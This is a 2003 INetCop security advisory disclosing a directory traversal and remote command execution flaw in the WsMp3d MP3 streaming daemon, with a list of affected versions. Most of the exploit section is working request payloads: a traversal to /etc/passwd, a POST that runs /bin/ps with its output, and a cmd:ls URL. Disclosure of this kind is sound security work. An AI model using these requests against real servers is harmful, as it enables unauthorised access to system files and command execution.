
INetCop Security Advisory #2003-0x82-017.a

* Title: WsMP3d Directory Traversing Vulnerability

0x01. Description

WsMp3d is daemon that can enjoy mp3.

This daemon can approach in web, directory traversing bug exists.

Also, can execute command in remote.

0x02. Vulnerable Packages

Vendor site: <http://wsmp3.sourceforge.net/>

WsMp3-0.0.10.tar.gz version.

+Linux

WsMp3-0.0.9.tar.gz version.

WsMp3-0.0.8.tar.gz version.

web_server-0.0.7.tar.gz version.

web_server-0.0.6.tar.gz version.

web_server-0.0.5.tar.gz version.

web_server-0.0.4.tar.gz version.

web_server-0.0.3.tar.gz version.

web_server-0.0.2.tar.gz version.

web_server-0.0.1.tar.gz version.

0x03. Exploit

#1) Directory traversing exploit:

As following, see file in directory.

<http://wsmp3.server.com/cmd:ls>

In this way, use directory that know.

```
bash$ telnet wsmp3.server.com 8000
Trying 61.37.xxx.xx...
Connected to 61.37.xxx.xx.
Escape character is '^]'.
GET /dir/../../../../../../../../etc/passwd HTTP/1.0
```

... passwd file here ...

Ok, it's possible to read `/etc/passwd' file !
If it's executed by root ?? hehehe ;-)

#2) Remote execute command exploit:

```
bash$ telnet wsmp3.server.com 8000
Trying 61.37.xxx.xx...
Connected to 61.37.xxx.xx.
Escape character is '^]'.
POST /dir/../../../../../../../../bin/ps HTTP/1.0
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html
Date: Sat May 03 01:25:28 2003
Last-Modified: Sat May 03 01:25:28 2003
Content-Length: 201
```

PID	TTY	TIME	CMD
29529	pts/2	00:00:00	login
29559	pts/2	00:00:00	su
29560	pts/2	00:00:00	bash
29681	pts/2	00:00:10	WsMp3
29730	pts/2	00:00:00	WsMp3
29731	pts/2	00:00:00	ps

Connection closed by foreign host.
bash\$

0x04. Patch

It can solve as chroot() function. :-)

P.S: Sorry, for my poor english.

--

By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: [szoahc\(at\)hotmail\(dot\)com](mailto:szoahc@hotmail.com),
[xploit\(at\)hackermail\(dot\)com](mailto:xploit@hackermail.com)

INetCop Security Home: <http://www.inetcop.org/> (Korean hacking game)

My World: <http://x82.i21c.net/> & <http://x82.inetcop.org/>

GPG public key: <http://x82.inetcop.org/h0me/pr0file/x82.k3y>

--